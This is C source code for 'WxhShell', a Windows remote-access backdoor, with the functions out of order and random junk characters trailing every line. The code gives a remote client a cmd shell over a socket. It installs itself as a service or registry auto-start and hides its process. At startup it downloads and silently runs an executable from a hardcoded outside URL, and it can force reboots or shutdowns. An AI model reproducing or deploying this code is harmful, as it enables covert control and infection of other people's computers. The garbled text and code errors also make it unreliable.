    if(Boot(SHUTDOWN)) !>@V#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ulSTR f  
    else { tWOze, N  
    closesocket(wsh); R Mt vEa  
    ExitThread(0); Ng39D#_)  
    } 9la~3L_g  
    break; H.[&gm}p>  
    } 8=o(nFJw  
  // 获取shell :::f,aCAu  
  case 's': { >~>[}d;glw  
    CmdShell(wsh); jTgh+j]AP  
    closesocket(wsh); RR[TW;  
    ExitThread(0); bNU^tL3QZ  
    break; ,UZE;lXJ'Q  
  } KJC9^BAr  
  // 退出 _po 4(U&  
  case 'x': { ;k%sKVP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KdpJ[[Ug/  
    CloseIt(wsh); '^(v8lCu  
    break; 3M*[a~  
    } wP1VQUL  
  // 离开 n4&j<zAV{  
  case 'q': { ']Xx#U N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (g:W|hS  
    closesocket(wsh); vm^# aoDB  
    WSACleanup(); "K!BJQ  
    exit(1); . mrRv8>$  
    break; "wC5hj]  
        } 7 =*k@9  
  } H 7F~+ Q-}  
  } o5 XUDDi  
Ru aJ9O  
  // 提示信息 ?8}jJw2H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p% %Y^=z  
} Qu\l$/  
  } ~2}ICU5  
[:S F(*}  
  return; oP75|p  
} jt r=8OiL  
h1o+7  
// shell模块句柄 h#ot)m|I  
int CmdShell(SOCKET sock) NS;8&  
{ I_*>EA  
STARTUPINFO si; {o<p{q  
ZeroMemory(&si,sizeof(si)); eSBf;lr=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s? #lhI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X(z-?6N4  
PROCESS_INFORMATION ProcessInfo; O~OWRJ@p  
char cmdline[]="cmd"; A3pQ?d[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @BhAFv,7  
  return 0; IE f^.Z  
} : {Z^ _;Tf  
p&l:937  
// 自身启动模式 Ud*[2Oi|R  
int StartFromService(void) <ijmkNVS  
{ $*-L8An?  
typedef struct :P"Gym  
{ rO%+)M$A  
  DWORD ExitStatus; G_mu7w  
  DWORD PebBaseAddress; }PL  
  DWORD AffinityMask; Tic9r i  
  DWORD BasePriority; J vsB^F.4  
  ULONG UniqueProcessId; ]m>MB )9  
  ULONG InheritedFromUniqueProcessId; N<(`+ ?  
}   PROCESS_BASIC_INFORMATION; Y,\mrW}K   
BniVZCct  
PROCNTQSIP NtQueryInformationProcess; {~h\;>  
io3'h:+9s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K(<P" g(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [KJL%u|8/  
/n:fxdhe  
  HANDLE             hProcess; rNC3h"i\  
  PROCESS_BASIC_INFORMATION pbi; ra2q. H  
)ixE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nq6CvDXi  
  if(NULL == hInst ) return 0; 7~f6j:{|z  
/U]5#'i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dD<kNa}2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IpmREl $j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h8Si,W 3o  
>GUTno$J  
  if (!NtQueryInformationProcess) return 0; >@uYleD(  
]#.#]}=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  B4ze$#  
  if(!hProcess) return 0; n #/m7  
our5k   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qJj5J;k  
f BOG#-a}  
  CloseHandle(hProcess); P'~3WL4MKs  
{HnOUc\4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o]U ==  
if(hProcess==NULL) return 0; ]NsaFDi\  
rRel\8  
HMODULE hMod; V= PoQ9d  
char procName[255]; \YS\* 'F  
unsigned long cbNeeded; @CDRbXoFk  
#JucOWxjY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '~J6 mojE  
V=~dgy ~@  
  CloseHandle(hProcess); ek!N eu>  
IPR396J+-  
if(strstr(procName,"services")) return 1; // 以服务启动 3 2D/%dHC  
Z4' v  
  return 0; // 注册表启动 h zE)>f  
} MsQS{ok+  
LJ3UB  
// 主模块 D I[Ee?  
int StartWxhshell(LPSTR lpCmdLine) p<34}iZ  
{ Z9I./s9  
  SOCKET wsl; q'tT)IgD  
BOOL val=TRUE; iX p8u**  
  int port=0; ]S ,GHPEN  
  struct sockaddr_in door; -NeF6  
E!M+37/  
  if(wscfg.ws_autoins) Install(); 'QU ?O[CH  
_Hk`e}}  
port=atoi(lpCmdLine); yI<'J^1C[  
I|H mbTXa  
if(port<=0) port=wscfg.ws_port; i,T{SV  
"o^zOU  
  WSADATA data; [~wcHE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dM$S|, H  
&tIm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QNFrkel  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VuW19-G  
  door.sin_family = AF_INET; ~Y[1Me  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QCw<* Id+  
  door.sin_port = htons(port); jo~vOu  
U"]i.J1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [-ecKPx  
closesocket(wsl); ]\lw^.%  
return 1; E?uv&evPK7  
} C7PiuL?  
C2v7(  
  if(listen(wsl,2) == INVALID_SOCKET) { XjbK!.  
closesocket(wsl); 6"(&lK\^  
return 1; ~@;7}Aag  
} +6*I9R  
  Wxhshell(wsl); IYPLitT  
  WSACleanup(); w=$_',5#Z  
RI=B(0 A  
return 0; /xzL!~g`6<  
&#l M$7/  
} l-rnDl  
Jo0x/+?,+  
// 以NT服务方式启动 @ 2_&ti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Is%I<'o  
{ vI@8DWs  
DWORD   status = 0; we9AB_y  
  DWORD   specificError = 0xfffffff; JiR|+6"7  
l?;S>s*\?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rIb{=';  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :.,I4>b2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ghl9gFFj  
  serviceStatus.dwWin32ExitCode     = 0; .^23qCs  
  serviceStatus.dwServiceSpecificExitCode = 0; AdNsY/Y(  
  serviceStatus.dwCheckPoint       = 0; B|&<  
  serviceStatus.dwWaitHint       = 0; pifgt  
QZfnoKz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h! <8=V(  
  if (hServiceStatusHandle==0) return; q'q{M-U<  
5cU8GgN`  
status = GetLastError(); g2I@j3  
  if (status!=NO_ERROR) .(-3L9T}  
{ Sy_M!`B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7vFqO;  
    serviceStatus.dwCheckPoint       = 0; ;1nd~0o  
    serviceStatus.dwWaitHint       = 0; "`k[ 4C  
    serviceStatus.dwWin32ExitCode     = status; YS*t7  
    serviceStatus.dwServiceSpecificExitCode = specificError; oS4ag  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uRIr,U^  
    return; ]+8,@%="  
  } @ h]H_  
+j,;g#d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kAoai|m@R  
  serviceStatus.dwCheckPoint       = 0; R/W&~t  
  serviceStatus.dwWaitHint       = 0; q3:tZoeXV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !`gg$9  
} ;g9+*$Gw  
;#due  
// 处理NT服务事件,比如:启动、停止 |*b8-a8<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lQzrf"N'  
{ `6/7},"9t  
switch(fdwControl) &V"&SV>}  
{ n!p&.Mt  
case SERVICE_CONTROL_STOP: ?S_S.Bd  
  serviceStatus.dwWin32ExitCode = 0; R~i<*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (:1 j-  
  serviceStatus.dwCheckPoint   = 0; |Bid(`t.  
  serviceStatus.dwWaitHint     = 0; f}apn=  
  { ~BC5no  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]q j%6tz  
  } eXYR/j<8  
  return; M@8(h=  
case SERVICE_CONTROL_PAUSE: }Y[.h=X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6=   
  break; vv u((b  
case SERVICE_CONTROL_CONTINUE: {9)f~EbM!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =k'dbcfO$9  
  break; mXr)lA  
case SERVICE_CONTROL_INTERROGATE: pnD#RvmW2e  
  break; .f}I$ "2  
}; 'BC-'Ot  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bke 1 F '  
} iG ;6e~p  
x~W&a*WNT  
// 标准应用程序主函数 2eNm2;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7G/"!ePW6`  
{ pO^ 6p%  
(<ejJPWT  
// 获取操作系统版本 U5klVl  
OsIsNt=GetOsVer(); R:E`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O/Fzw^  
((y+FJH  
  // 从命令行安装 A1|:$tED+2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'g#))y  
'D1@+FFU0  
  // 下载执行文件 b7$?'neH/.  
if(wscfg.ws_downexe) { CB~&!MdMr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bpgl U=Qr  
  WinExec(wscfg.ws_filenam,SW_HIDE); f /jN$p  
} Gqs8$[o  
SbB5J> >7J  
if(!OsIsNt) { Z'EZPuZ!'  
// 如果时win9x,隐藏进程并且设置为注册表启动 1G\ugLm  
HideProc(); yY1&h op  
StartWxhshell(lpCmdLine); =Ru i  
} ''Hq-Ng  
else (i`DUF'#y  
  if(StartFromService()) Eb.{M  
  // 以服务方式启动 MG~^>  
  StartServiceCtrlDispatcher(DispatchTable); 3y@'p(}Az  
else )b =$!  
  // 普通方式启动 W?$ ImW  
  StartWxhshell(lpCmdLine); y]/{W}D  
9+L! A  
return 0; Q/< $ (Y  
} )P$ IXA\  
3}H94H)]a  
!u^(<.xJ   
k8h$#@^  
=========================================== OvFZ&S[  
O6`@'N>6P  
*P_TG"^{W  
<_NF  
<'/+E4m  
f[.]JC+,  
" UZ<!(g.  
z_zr3XR9  
#include <stdio.h> c<e$6:|xM  
#include <string.h> y"7?]#$9/  
#include <windows.h> 6rRPqO j  
#include <winsock2.h>  bSmRo  
#include <winsvc.h> ?vZ&CB  
#include <urlmon.h> oV*3Mec  
0n1y$*I4  
#pragma comment (lib, "Ws2_32.lib") uy B ?-Y+  
#pragma comment (lib, "urlmon.lib") Tj.;\a|d  
HMBxj($eR  
#define MAX_USER   100 // 最大客户端连接数 r+) A)a,  
#define BUF_SOCK   200 // sock buffer 13B[m p4  
#define KEY_BUFF   255 // 输入 buffer  iKDGYM  
%DiZ&}^Ck  
#define REBOOT     0   // 重启 %N!Y}$y  
#define SHUTDOWN   1   // 关机 iJq}tIk#2'  
/$B<+;L!#  
#define DEF_PORT   5000 // 监听端口 vHao y  
50CU|  
#define REG_LEN     16   // 注册表键长度 N?~K9jGx(  
#define SVC_LEN     80   // NT服务名长度 ;X\!*Loe  
NxNz(R $~  
// 从dll定义API -tDmzuD6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~_R=2t{u _  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u%&zY97/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w;X-i.%`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BM:je(*p  
B&tl6?7h  
// wxhshell配置信息 $ZE OE8.\  
struct WSCFG { )'nGuL-w!i  
  int ws_port;         // 监听端口 b-ZvEDCR  
  char ws_passstr[REG_LEN]; // 口令 / VJ[1o^  
  int ws_autoins;       // 安装标记, 1=yes 0=no \5J/ ?  
  char ws_regname[REG_LEN]; // 注册表键名 wJ+"JQY.J+  
  char ws_svcname[REG_LEN]; // 服务名 TVKuvKH8U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5 J 0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xHI>CNC,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D7 .R NXo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @v|_APy#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YT#" HYO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VN*^pAzlF  
#S QFI;zj  
}; GCc@ :*4[  
w(s"r p}  
// default Wxhshell configuration (/c9v8Pr(7  
struct WSCFG wscfg={DEF_PORT, JgEpqA12  
    "xuhuanlingzhe", ca-|G'q  
    1, 1J^{h5?lU  
    "Wxhshell", yay{lP}b"  
    "Wxhshell", RzNv|   
            "WxhShell Service", 5&6S["lt  
    "Wrsky Windows CmdShell Service", c^I_~OwaE  
    "Please Input Your Password: ", voCQ_~*)9  
  1, EpS"NQEe  
  "http://www.wrsky.com/wxhshell.exe", YwEXTy>0  
  "Wxhshell.exe" g3j@o/Y  
    }; l9#vr  
M" %w9)@  
// 消息定义模块 '@rGX+"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v dyu=*Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r\a9<nZ{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O']-<E`1k  
char *msg_ws_ext="\n\rExit."; &rk /ya[  
char *msg_ws_end="\n\rQuit."; vxK}f*d  
char *msg_ws_boot="\n\rReboot..."; =3Y?U*d  
char *msg_ws_poff="\n\rShutdown..."; FjVC&+c  
char *msg_ws_down="\n\rSave to "; )9J&M6LX  
'Aai.PE:  
char *msg_ws_err="\n\rErr!"; t<x0?vfD  
char *msg_ws_ok="\n\rOK!"; K@`F*^A}V  
< JA5.6<=  
char ExeFile[MAX_PATH]; Bxak[>/  
int nUser = 0; \,lgv  
HANDLE handles[MAX_USER]; Fb VtyQz  
int OsIsNt; {dhGSM7  
:Q"]W!kCs  
SERVICE_STATUS       serviceStatus; W8R@Pf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _G,`s7Q,w  
MHk\y2`/;  
// 函数声明 X5'foFE'  
int Install(void); T/UhZ4(V  
int Uninstall(void); r( :"BQ  
int DownloadFile(char *sURL, SOCKET wsh); A F>!:  
int Boot(int flag); mRFcZ.7  
void HideProc(void);  g&#.zJ[-  
int GetOsVer(void); Sr/"'w;  
int Wxhshell(SOCKET wsl); QVm3(;&'  
void TalkWithClient(void *cs); {088j?[hzk  
int CmdShell(SOCKET sock); m^%[  
int StartFromService(void); 0k0 y'1SL  
int StartWxhshell(LPSTR lpCmdLine); D?;$:D"  
Jah~h44&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *h$Z:p-g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aB+Ux< -  
-(ABQgSO]  
// 数据结构和表定义 Gr}Lp  
SERVICE_TABLE_ENTRY DispatchTable[] = St^s"A  
{ (s z=IB ;  
{wscfg.ws_svcname, NTServiceMain}, F2:?lmhL<  
{NULL, NULL} sJ{NbN~`I  
}; Y }aa6  
:"|}oKT%mP  
// 自我安装 ci <`*>l  
int Install(void) =4 36/O`K  
{ c7E=1*C<  
  char svExeFile[MAX_PATH]; Z>{3t/`  
  HKEY key; 7ae8nZ3&  
  strcpy(svExeFile,ExeFile); t[Xx LG*  
;gu_/[P  
// 如果是win9x系统,修改注册表设为自启动 U8PSJ0ny  
if(!OsIsNt) { EQET:a:g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8.ll]3))  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^?VYE26  
  RegCloseKey(key); Nl"< $/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pc J5UJY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Y8us"   
  RegCloseKey(key); }PTYNidlR  
  return 0; 51u8.%{4  
    } hS/oOeG<Y  
  } 6Xu8~%i  
} uhz:G~x!  
else { Y.$ '<1  
FY|.eY_7 {  
// 如果是NT以上系统,安装为系统服务 y'(l]F1]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PF+v[h;,  
if (schSCManager!=0) |$`)d87,  
{ l\vtz5L  
  SC_HANDLE schService = CreateService Py3Xvudv  
  ( a$y=+4L  
  schSCManager, : " 9F.U  
  wscfg.ws_svcname, ]L@VpHEj  
  wscfg.ws_svcdisp, s_}T -%\  
  SERVICE_ALL_ACCESS, ,|,DXw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hz\Fq1  
  SERVICE_AUTO_START, WLma)L`L  
  SERVICE_ERROR_NORMAL, 9 ,=7Uh#7  
  svExeFile, -{dsl|Dl  
  NULL, `9}\kn-</8  
  NULL, - &Aw] +  
  NULL, wws)**]J8  
  NULL, l*T> 9yC  
  NULL ;I1}g]  
  ); hqd}L~o:  
  if (schService!=0) `j{q$Y=AG  
  { uO%G,b  
  CloseServiceHandle(schService); \$n?J(N  
  CloseServiceHandle(schSCManager); YKk?BQ"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  c %w h  
  strcat(svExeFile,wscfg.ws_svcname); /ldE (!^n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dq}60  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fOs"\Y4  
  RegCloseKey(key); ?4GI19j  
  return 0; "E =\Vz  
    } lS&$86Jo(  
  } 'yuM=Pb  
  CloseServiceHandle(schSCManager); :_E q(r  
} x2(!r3a  
} .>NhC"  
Yj99[ c#]  
return 1; z;yb;),  
} !r]elX  
}>Gnp c  
// 自我卸载 P~$FgAV  
int Uninstall(void) {h5 S=b  
{ ;O5p>o  
  HKEY key; l3dGe'  
RG1~)5AL~Y  
if(!OsIsNt) { I?nj_ as  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]y= ff6Q  
  RegDeleteValue(key,wscfg.ws_regname); )xYv$6=  
  RegCloseKey(key); m22M[L(q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 28J ; 9  
  RegDeleteValue(key,wscfg.ws_regname); 4)./d2/E  
  RegCloseKey(key); x;ym_UZ6e  
  return 0; \' (_r  
  } {Bk9]:'$5  
} H-$)@  
} y1z<{'2x  
else { T|dQY~n~  
+`4`OVE_#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ""Nu["|E  
if (schSCManager!=0) U+gOojRy{  
{ @|kBc.(]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Ay j4|_-  
  if (schService!=0) \lwYDPY:  
  { x-O9|%aRJ  
  if(DeleteService(schService)!=0) { :a3  +f5  
  CloseServiceHandle(schService); T 7`9[  
  CloseServiceHandle(schSCManager); =@$G3DM  
  return 0; ~RGZY/4  
  } wmbjL=f Ia  
  CloseServiceHandle(schService); yDh(4w-~gk  
  } PI@/jh  
  CloseServiceHandle(schSCManager); Bwv@D4bii  
} 7 \)OWp  
} ej-x^G?C  
MN1 kR  
return 1; HPJ\]HV(  
} 3NRxf8  
mNS7/I\  
// 从指定url下载文件 o;bK 7D  
int DownloadFile(char *sURL, SOCKET wsh) 3~ITvH,`s  
{ )QS4Z{)U  
  HRESULT hr; uJ ;7]  
char seps[]= "/"; :l<)p;\  
char *token; r_/=iYYJ  
char *file; _hT-5)1r  
char myURL[MAX_PATH]; -+fbK/  
char myFILE[MAX_PATH]; .XD7};g  
d3Dw[4  
strcpy(myURL,sURL); gx+bKGB`  
  token=strtok(myURL,seps); F)P"UQ!\  
  while(token!=NULL) _cra_(b  
  { $U=E7JO  
    file=token; |^&n\vXv  
  token=strtok(NULL,seps); QH%Zbt2qS  
  } F&?55@b  
:.5l9Ci4  
GetCurrentDirectory(MAX_PATH,myFILE); >'IFr9&3  
strcat(myFILE, "\\"); 9+<%74|,  
strcat(myFILE, file); $B6CLWB  
  send(wsh,myFILE,strlen(myFILE),0); @pq#?  
send(wsh,"...",3,0); *xm(K +j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *=UxX ] 0y  
  if(hr==S_OK) Pp-\#WJ  
return 0; E+wd9/;  
else f4.k%|]  
return 1; lR] z8 &  
g$C-G5/bjD  
} D5]4(]k&  
F\&Sn1>k  
// 系统电源模块 =2&/Cn4  
int Boot(int flag) VxD_:USIF  
{ n#@/A  
  HANDLE hToken; VA4>!t)  
  TOKEN_PRIVILEGES tkp; J[E_n;d1  
{z)&=v@  
  if(OsIsNt) { u{Jv6K,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cI}qMc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O^fg~g X  
    tkp.PrivilegeCount = 1; 8\,|T2w,X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A)9[.fhx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *Z0Y:"  
if(flag==REBOOT) { 6{h+(|.(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &0B< iO<f  
  return 0; d&S4`\g?8  
} /*g9drwaa  
else { ~"\qX+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 08)X:@ w?  
  return 0; mmk]Doy?#  
} [Xp{z tGE  
  } %7tQam  
  else { l5sBDiir%  
if(flag==REBOOT) { =%u\x=u|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q y(Gy'q~  
  return 0; sj;8[Xy's  
} 97"dOi!Wh  
else { =+um:*a.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a*4"j2j v  
  return 0; w)x`zVwO  
} 3L2@C%  
} .Q'/e>0  
Wxjv=#3  
return 1; en\shc{R]`  
} :00 #l]g0q  
JTT"t@__  
// win9x进程隐藏模块 C;m7 ~R  
void HideProc(void) mKWfRx*UdG  
{ !3~VoNh,  
bu`8QQ"C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z4S0{:XY  
  if ( hKernel != NULL ) eIVCg-l}  
  { X8!=Xjl)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @NBWNgBv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *2MM   
    FreeLibrary(hKernel); e&&;"^@-  
  } .ZSGnbJ  
GKPC9;{W  
return; qGndh  
} g8+w?Zn}  
p #vZYwe=L  
// 获取操作系统版本 F 8*e  
int GetOsVer(void) Eyw)f>  
{ HVb9YU+  
  OSVERSIONINFO winfo; h&|wqna  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L||_Jsu  
  GetVersionEx(&winfo); 5+U2@XV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c*nH=  
  return 1; \Ol3kx|  
  else |7IlYy&:  
  return 0; gI^);J rTE  
} M1._{Jw5  
rCcNu  
// 客户端句柄模块 *SkUkqP9z  
int Wxhshell(SOCKET wsl) gv=mz,z  
{ '& L;y  
  SOCKET wsh; x' Z<  
  struct sockaddr_in client; b XcDsP$.  
  DWORD myID; bS 'a)  
`?{Hs+4P5  
  while(nUser<MAX_USER) %qA +z Pf  
{ =~r?(u6d  
  int nSize=sizeof(client); p'afCX@J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w, 0tY=h6  
  if(wsh==INVALID_SOCKET) return 1; )"7hyW5  
KZ ezA4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VdpkE0  
if(handles[nUser]==0) GD1=Fb"&)  
  closesocket(wsh); ]a% *$TF  
else T!6H5>zA  
  nUser++; 1j*I`xZ  
  } L2ePWctq}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Ju?REH   
2A3;#v  
  return 0; I\R5Cb<p  
} zUn> )#ZC  
eqbxf#H!  
// 关闭 socket Y""-U3;T~  
void CloseIt(SOCKET wsh) yI9~LTlA3  
{ 7Dy\-9:v  
closesocket(wsh); \GtZX!0  
nUser--; |(Zv g}c_  
ExitThread(0); '< OB  j  
} H~-zq} 4  
-&Fxg>FrYb  
// 客户端请求句柄 %UJ!(_  
void TalkWithClient(void *cs) m{={a5GD  
{ .vRLK  
&J|3uY,'j  
  SOCKET wsh=(SOCKET)cs; 3j.Ft*SV  
  char pwd[SVC_LEN]; 9GS<d.#Nvc  
  char cmd[KEY_BUFF]; Xu#\CYk  
char chr[1]; gF% lwq  
int i,j; L1u  
,hK0F3?H>  
  while (nUser < MAX_USER) { lo:]r.lX{  
Du>dTi~  
if(wscfg.ws_passstr) { yWIM,2x}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8WWRKP1V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g~d}?B\<@  
  //ZeroMemory(pwd,KEY_BUFF); Egt;Bj#%  
      i=0; x8p#WB  
  while(i<SVC_LEN) { |u)?h] >  
G8`q-B}q  
  // 设置超时 LGT\1u  
  fd_set FdRead; e , zR  
  struct timeval TimeOut; <FH3 ePz  
  FD_ZERO(&FdRead); bG +p  
  FD_SET(wsh,&FdRead); '#<?QE!d2  
  TimeOut.tv_sec=8; x]%e_  
  TimeOut.tv_usec=0; 84P^7[YX>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h$ M+Yo+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "}D uAs  
JGIN<J85e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~\hA-l36  
  pwd=chr[0]; I/9ZUxQCyG  
  if(chr[0]==0xd || chr[0]==0xa) { t~p9iGX<  
  pwd=0; zW%-Z6%D  
  break; !m pRLBH  
  } D8_m_M| P  
  i++; x Mtl<Na   
    } ?n/:1LN,  
h 88iZK  
  // 如果是非法用户,关闭 socket f(DGC2R <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yhEU *\:  
} V_U$JKJ1=  
q /|<>s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }Evyfc#D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ltt%X].[  
@{.rDz  
while(1) { yuswWc '  
TEB%y9  
  ZeroMemory(cmd,KEY_BUFF); sCaw"{5qc  
/exV6D r  
      // 自动支持客户端 telnet标准   u7@|fND 7  
  j=0; 'jcDfv(v<  
  while(j<KEY_BUFF) { q=bJ9iJsq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RrLQM!~  
  cmd[j]=chr[0]; 5<4njo?k  
  if(chr[0]==0xa || chr[0]==0xd) { {#q<0l  
  cmd[j]=0; .D^k0V  
  break; 2U>1-p&dn  
  } iUA2/ A  
  j++; Opmb   
    } Pf)<6?T  
VYf$0oo\4  
  // 下载文件 &X_I^*  
  if(strstr(cmd,"http://")) { ?TE#4}p|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H1|X0 a(j  
  if(DownloadFile(cmd,wsh)) *we3i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =0,")aa!  
  else {exF" ap  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'm}~  
  } -+|0LXo  
  else { B/E1nBobC  
D8h ?s  
    switch(cmd[0]) { }<FBcc(n  
  `]WU=Ss  
  // 帮助 (0D0G-r:  
  case '?': { Pc? d@tm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Uy hH^  
